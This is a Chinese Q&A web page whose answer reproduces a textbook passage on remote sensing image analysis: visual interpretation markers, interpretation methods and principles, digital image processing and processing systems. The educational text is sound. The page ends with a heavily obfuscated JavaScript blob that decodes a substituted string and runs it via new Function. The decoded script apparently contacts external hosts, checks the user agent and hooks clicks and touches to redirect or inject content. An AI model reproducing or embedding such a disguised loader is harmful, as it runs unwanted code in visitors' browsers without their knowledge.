遥感图像分析与信息提取

2025-04-02 09:17:36
推荐回答(1个)
回答1:

遥感图像分析的目的是通过各种方法手段对遥感图像进行有用信息的提取和解译。遥感图像解译中,通常将表征地物和地质现象遥感信息的影像特征称之为图像解译标志;将提取遥感信息的过程称之为图像解译(判译、判读);而将遥感图像信息提取的种种手段称之为遥感图像解译方法。

目前,遥感图像信息提取的手段主要有三种:一是遥感图像的目视解译,它借助于简单的观察工具(如立体镜、放大镜等)凭肉眼鉴别影像,判断目标物的属性特征;二是遥感图像的光学处理,即采用光学仪器改进图像质量,压抑噪声,突出目标影像,提取有关信息;三是遥感图像的数字处理,即用计算机对数字化了的影像进行几何校正、增强等专门处理,达到提取目标物属性特征信息的目的。三种方法各有所长,但目视解译是基础,光学处理和数字处理是深入解译和提高解译水平不可缺少的技术手段,但其效果仍需要专业人员目视解译判断。随着计算机技术的高速发展,遥感信息已越来越多地采用数字记录和储存,故数字图像处理已经成为当今遥感图像处理的主要手段。本节主要介绍遥感图像的目视解译和遥感数字图像处理的基本方法。

20.1.1 遥感图像目视解译

目视解译法的基本特点是能高度发挥解译者所掌握的专业基础知识和思维判断能力,降低判错概率,且具有简便易行的优点。只要有遥感图像资料,在任何场合都可以进行解译。遥感图像的目视解译中,解译效果取决于解译者的知识、技能和经验水平。

20.1.1.1 遥感图像的地质解译标志

地质解译标志是表征地质体及地质形象遥感信息的影像特征。据其表现形式的不同,地质解译标志又分成为直接解译标志和间接解译标志两大类。前者是地质体及地质现象本身属性特征在遥感图像上的直接反映,如影像形状、大小、色调和阴影等;后者则是与地质体或地质形象具有相关关系的其他物体或现象所呈现出的影像特征,如地貌特征、水系格局、植被、土壤、水文和人类活动遗迹等,通过对它们的相关分析,也能判别这些地质体或地质形象的属性特征。

不同类型的地物,其电磁辐射特性不同。在影像上的反映就是形成各种各样的色、形信息:色,就是色调、颜色、阴影和反差等;形,就是形状、大小、空间布局、纹理等。“色”只有依附在“形”上来解译才有意义。色形差异也常常显示深部现象的“透视”信息。采取由此及彼、由表及里的综合分析和对比,从已知推未知,解译才会有好的效果。

20.1.1.2 遥感图像目视解译的基本方法

目视解译最基本的方法是立体观察。它使用简单的光学立体镜,将二维平面图像转化为三维空间的立体光学模型,从而突出了地物的空间特征,使人眼睛易于辨认目标和确定其空间位置。

进行立体观察必须满足两个基本条件:一是具有立体像对,二是具有立体镜。立体像对指在相邻两个摄影基站对同一地面获取的一对具有相同比例尺和一定重叠的像片(图像)。立体镜是用来进行立体观察的专门仪器,它的主要作用是迫使观察者做到左眼只看左片(图像),右眼只看右片(图像),以获得良好的立体观察效果。

随着遥感技术的发展,遥感解译所使用的不仅是摄影方法得到的像片,而且还有红外扫描成像和雷达成像的图像等。应该指出,虽然它们的影像要素或特征也是形状、大小、阴影、周围环境、空间布局、色调等等,但是它们在不同波段成像的图像中所表达的含义有所不同。

20.1.1.3 目视解译的方法与原则

(1)解译方法

对于各种不同的遥感图像的解译,主要差别在于目标物的具体解译标志有所不同;而解译的原则与方法则是一致的。目视解译中常用的方法主要是以下三种。

① 直判法。指运用直接解译标志来判断地质体或地质现象。这种方法简便可靠,但必须在地质体直接出露于地表,或覆盖很少,而且解译标志比较稳定时,才宜应用。如我国西北地区大多具备这种条件,许多地质体可用直判法予以确定。

② 对比法。这是最常用的一种方法。它通常包括几种情况,一是将遥感影像与地质实体进行对比;二是与已经工作过的邻区图像对比;三是与前人资料对比。通过对比,建立本区适用的确切可靠的解译标志。对比法也用于解译成果的野外验证。

③ 逻辑推理法。根据地质体和地质现象与地表其他景观要素的相关关系,运用地质学、地貌学、水文学、土壤学、地植物学等有关学科的理论进行综合分析、逻辑推理,从而确定目标物的属性。这里,主要是运用各种间接标志来判断被掩盖的地质体或地质现象,对我国南方地区的图像进行解译时,常常用到这种方法。

(2)解译原则

遥感图像解译的原则可概略如下。

① 宏观原则。在任何地区进行解译时,应先采用卫星图像或小比例尺航片略图,对影像总体轮廓进行研究。以获取整个工作区宏观构造格架的正确概念。这是下一步详细解译能否快速、准确地取得成果的关键,具有重大的指导意义。在此前提下,方能有效地开展各个局部的详细解译。

② 先易后难,循序渐进原则。整个解译工作必须做到循序渐进,方能提高工作效率,收到事半功倍之效。下面是一些实践经验的总结,可供参考。ⓐ 从比较了解的地段入手,向较陌生的地段推进,即从已知到未知。ⓑ 先解译影像清晰部分,后解译模糊部分。ⓒ 先山地,后平原;先构造,后岩性。ⓓ 先断裂,后褶皱。ⓔ 先线性构造,后环形构造。ⓕ 先岩浆岩,后沉积岩,再变质岩。ⓖ 先解译显露的,后解译隐伏的。其中,ⓓ、ⓔ、ⓕ三点灵活性较大,需根据影像显示程度决定先后。解译中,交错进行的情况也是常见的。

20.1.2 遥感数字图像处理

遥感图像处理,特别是数字图像处理是增强、提取成矿环境地质、构造、矿化等有用信息的重要手段,同时也在资源、环境、农、林、牧、渔、国土整治、工程地质等领域中广泛应用,潜力很大。尤其是随着新一代遥感图像光谱分辨率、空间分辨率的提高,多时相、多类型遥感图像数据的融合以及遥感图像与其他数据的融合,将显得越来越重要。由于遥感图像记录了大量肉眼以及常规仪器难以发现的微弱的地物特征信息,如目标物的红外波谱信息、微波信息等,通过遥感图像数字处理提取这些标志信息,尤其是弱成矿标识信息,可大大增加人们鉴别目标的能力。实际上,当前随着计算机技术的发展,遥感图像处理的内容已远远超出了宏观图像的范畴,对遥感、物探、化探及地质、矿产数据都可以用图像处理方法来进行有效组合、综合与复合或进行增强、变换、分类及模式识别,提取一组特征标志进而形成找矿综合信息图(或图像)。

20.1.2.1 数字图像

数字图像是一种以二维数组(矩阵)形式表示的图像。该数组由对连续变化的空间图像作等间距抽样所产生的抽样点——像元(像素)组成,抽样点的间距取决于图像的分辨率或服从有关的抽样定律;抽样点(像元)的量值,通常取抽样区间内色调(色彩)连续变化之地物的平均值,一般称作亮度值或灰度值;它们的最大、最小值区间代表该数字图像的动态范围。数字图像的物理含义取决于抽样对象的性质。对于遥感数宇图像,就是相应成像区域内地物电磁辐射强度的二维分布。在数字图像中,像元是最基本的构成单元。每一个像元的位置可由行、列(x,y)坐标确定;亮度值(z)通常以0(黑)到255(白)为取值范围。因此,任何一幅数字图像都可以通过X、Y、Z的三维坐标系表示出。例如,陆地卫星的MSS图像(图20-1),便可看作x=2340(行),y=3240(列),Z=0~255的三维坐标系。TM、SPOT等亦然,只是行、列数不同而已。

数字图像可以有各种不同的来源。大多数卫星遥感,如MSS、TM、SPOT、SAR图像等,地面景象的遥感信息都直接记录在数字磁带上。有关的遥感卫星地面站或气象卫星接收站均可提供相应的计算机兼容数字磁带(CCT)或数据光盘及其记录格式。应用人员只要按记录格式将图像数据输入计算机图像处理系统,即可获得数字图像,并进行各种图像处理。对于像片或胶片影像,则可通过电子-光学透射密度计和扫描器以及扫描仪等,将影像密度转换为数值,进而形成数字图像;对于非遥感的地学图件,如地形图、地质图、航磁图、重力图、化探元素异常图等等,也可通过数字化仪或扫描仪,转换为数字图像。同一地区不同来源的数字图像都可精确配准,并作复合处理。

图20-1中左图是一条扫描线上亮度值产生原理。左图中图像坐标和像元参考系与光学图像相比,数字图像量化等级高(256级)、失真度小、不同图像的配准精度高、传输及储存方便,尤为重要的是可由计算机进行各种灵活、可靠、有效的处理,使遥感图像获得更好的判读、分析等应用效果。

20.1.2.2 数字图像处理

数字图像以不同亮度值像元的行、列矩阵组织数据,其最基本的特点就是像元的空间坐标和亮度取值都被离散化了,即只能取有限的、确定的值。所以,离散和有限是数字图像最基本的数学特征。所谓数宇图像处理,就是依据数字图像的这一数字特征,构造各种数学模型和相应的算法,由计算机进行运算(矩阵变换)处理,进而获得更加有利于实际应用的输出图像及有关数据和资料。故数字图像处理通常也称为计算机图像处理。

数字图像处理在算法上基本可归为两类:一类为点处理,即施行图像变换运算时只输入图像空间上一个像元点的值,逐点处理,直到所有点都处理完毕,如反差增强、比值增强等。另一类为邻域处理,即为了产生一个新像元的输出,需要输入与该像元相邻的若干个像元的数值。这类算法一般用作空间特征的处理,如各种滤波处理。点处理和邻域处理有各自不同的适应面,在设计算估时,需针对不同的处理对象和处理目标加以选择。

图20-1 陆地卫星MSS数字图像的构成原理

遥感数字图像处理,数据量一般很大,往往要同时针对一组数字图像(多波段、多时像等)做多种处理。因此,需要依据遥感图像所具有的波谱特征、空间特征和时间特性,按照不同的对象和要求构造各种不同的数学模型,设计出不同的算法;它不仅处理方法非常丰富,而且形成了自身的特色,已发展为一门专门的技术方法。

根据处理目的和功能的不同,目前遥感数字图像处理主要包括以下四方面的内容。

(1)图像恢复处理。旨在改正或补偿成像过程中的辐射失真、几何畸变、各种噪声以及高频信息的损失等。属预处理范畴,一般包括辐射校正、几何校正、数字放大、数字镶嵌等。

(2)图像增强处理。对经过恢复处理的数据通过某种数学变换,扩大影像间的灰度差异,以突出目标信息或改善图像的视觉效果,提高可解译性。主要包括有反差增强,彩色增强、空间滤波、图像变换增强等方法。

(3)图像复合处理。对同一地区各种不同来源的数字图像按统一的地理坐标作空间配准叠合,以进行不同信息源之间的对比或综合分析。通常也称多源(元)信息复合,既包括遥感与遥感信息的复合,也包括遥感与非遥感地学信息的复合。

(4)图像分类处理。对多重遥感数据,根据其像元在多维波谱空间的特征(亮度值向量),按一定的统计决策标准,由计算机划分和识别出不同的波谱集群类型,据此实现地质体的自动识别分类。有监督和非监督两种分类方法。

需要指出,数字图像处理经过近10多年的高速发展,其理论和方法逐步得到完善与发展,已经形成为一门研究内容丰富多彩的学科——数字图像处理学。限于篇幅,这里仅列出了遥感数字图像处理的一般过程(图20-2)。

20.1.2.3 数字图像处理系统

遥感数字图像处理不仅数据量大,而且数据传输频繁,专业性强。因此,一般都要在专门的处理设备上进行。用以进行数字图像处理的专门计算机及其外围设备和有关的软件,即构成了数字图像处理系统,通常由硬件系统和软件系统两大部分组成。其中硬件系统,按目前国内外的发展趋势可分为大型专用机系统和微机图像处理系统两类。一般情况下,它们都包括以下一些基本的部件。

图20-2 遥感图像数字处理基本流程

(1)主机。进行各种运算、预处理、统计分析和协调各种外围设备运转的控制中心,是最基本的设备。一般为速度快、内存大的专用计算机。

(2)磁带机和光盘刻录机。连结数字磁带(CCT)或图像数据光盘和主机的数据传输装置,既可以输入原始图像数据,也可以将中间处理和最终处理的结果再转存记录到磁带上或光盘上。目前的微机图像处理系统大多都带有光盘刻录机,图像数据的输入和输出较为方便。

(3)图像处理机。是数字图像处理专用的核心设备,既具体承担各种图像处理功能的实施,如进行图像复原、几何校正、增强和分类等各种处理的数学运算,也是主机和各种输出输入设备的纽带。

(4)输出设备。用作处理结果的显示分析及记录和成图,包括彩色监视器或彩显,各种类型的打印机、绘图仪、胶片记录仪和扫描仪等等。

对于功能齐全的系统,除上述外,通常还包括有胶片影像的摄像或扫描数字化仪、图形数字化仪等输入设备。

软件系统系指与硬件系统配套的用于图像处理及操作实施的各种软件。一般包括系统软件和应用软件两部分。前者又包括操作系统和编译系统,主要用于输入指令、参数及与计算机“对话”;后者则是以某种语言编制的应用软件,存于硬件系统的应用程序库中,用户可按研究任务采用对话方式或菜单方式,发出相应的指令使用这些程序,由主机作运算处理,获得所需的结果。不同专业往往设计有各自的应用软件系统,故国际上已开发出各种各样的图形图像处理软件系统,针对微机也开发了一系列建立在Windows上的图形图像处理软件,如Photoshop等等,功能强大,操作也非常方便。

20.1.3 遥感图像光学处理

光学图像处理是指以胶片方式记录的遥感影像或由数字产品转换来的影像胶片为处理对象,通过光学或电子光学仪器的加工改造,对遥感图像进行变换和增强的一种图像处理技术。

用作光学处理的仪器和技术手段很多,包括摄影处理、光电处理和相干光处理等等;处理方法上,则有密度分割、彩色合成、边缘增强、反差增强、光学图像比值、光学变换、光学编码等。其中较常用的是假彩色等密度分割和假彩色合成。

值得指出,随着计算机硬件和软件技术的高速发展,造价昂贵的光学图像处理系统基本上由计算机图像处理系统取代。因此,这里不再介绍。

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();